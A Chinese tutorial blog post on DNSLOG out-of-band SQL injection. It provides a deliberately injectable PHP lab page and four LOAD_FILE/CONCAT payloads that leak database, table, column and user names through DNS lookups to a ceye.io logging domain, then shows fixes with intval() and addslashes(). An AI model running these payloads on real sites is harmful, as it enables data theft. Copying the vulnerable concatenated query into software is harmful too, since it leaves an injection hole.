本文主要是介绍利用DNSLOG注入突破无回显盲注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
利用DNSLOG注入突破无回显盲注
- 1、 SQL注入介绍
- 2、 盲注PHP代码
- 3、 DNSLOG注入测试
- 4、 代码漏洞修复
1、 SQL注入介绍
SQL注入介绍:SQL注入介绍
注入产生原因:web应用程序对用户输入数据的合法性没有判断或过滤不严,导致恶意payload直接带入SQL语句执行,从而执行payload中非法操作!
2、 盲注PHP代码
新建PHP文件,将下面代码复制到PHP文件中,在浏览器中访问即可
<?php
$host = '127.0.0.1';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';$con = new mysqli($host, $dbuser, $dbpass, $dbname);
if ($con->connect_error) {die("Connect Failed: " . $con->connect_error);
}if (isset($_GET['id']) && !empty($_GET['id'])) {$id = $_GET['id'];
} else {die("Missing id parameter!");
}$sql = "select id,title,content from t_feedback where id='$id' limit 0,1";
$result = $con->query($sql);if ($result->num_rows>0) {echo "Feedback with id found!" . "<br>";
} else {echo "Feedback with id found!" . "<br>";
}echo "Your SQL syntax: " . $sql;$con->close();
3、 DNSLOG注入测试
dnslog注入需使用 ==load_file()==函数(需高权限),有自己的域名可以自己搭建dns域名解析,也可使用免费的 CEYE 平台,登录后在个人信息中会得到一个随机的二级域名 (Identifier) ,如下图:
通过 concat() 拼接函数,查询数据库名, xxx 为自己的二级域名,, — 可自定义(也可不写),当语句执行后,在 CEYE DNS QUERY 界面便可查看爆出的数据库信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select database()),’—.xxx.ceye.io\abc’))),0,1)
查询数据库表名,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select table_name from information_schema.tables where table_schema=‘test’ limit 1,1),’—.xxx.ceye.io\abc’))),0,1)
查询数据库表列名信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select column_name from information_schema.columns where table_name=‘t_user’ limit 1,1),’—.xxx.ceye.io\abc’))),0,1)
查询数据库表第一条用户信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select name from t_user limit 0,1),’—.xxx.ceye.io\abc’))),0,1)
4、 代码漏洞修复
由于此处传入 id 值为 int 类型,SQL语句中 id 值拼接使用了 ’ ,在mysql中, where id=‘1’ 会自动将id值转为int型,此处既可使用 intval() 函数将接收的参数值强制转换为 int 型,亦可防止特殊字符的输入。
方法一:将$id = $_GET['id'];
改为$id = intval($_GET['id']);
即可。
方法二:配置 php.ini 开启 magic_quotes_gpc 或使用PHP中 addslashes() 函数,转义特殊字符,防止注入。注意:若数据库字符编码为gbk可使用宽字节注入绕过
,此脚本中,$id = $_GET['id'];
改为$id = get_magic_quotes_gpc() ? $_GET['id'] : addslashes($_GET['id']);
即可。为了防止宽字节绕过,可在连接数据库代码后加上$con->query("set names utf8");
修改后PHP代码如下:
<?php
$host = '127.0.0.1';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';$con = new mysqli($host, $dbuser, $dbpass, $dbname);
if ($con->connect_error) {die("Connect Failed: " . $con->connect_error);
}if (isset($_GET['id']) && !empty($_GET['id'])) {$id = intval($_GET['id']);
} else {die("Missing id parameter!");
}$sql = "select id,title,content from t_feedback where id='$id' limit 0,1";
$result = $con->query($sql);if ($result->num_rows>0) {echo "Feedback with id found!" . "<br>";
} else {echo "Feedback with id found!" . "<br>";
}echo "Your SQL syntax: " . $sql;$con->close();
——舍心K
这篇关于利用DNSLOG注入突破无回显盲注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!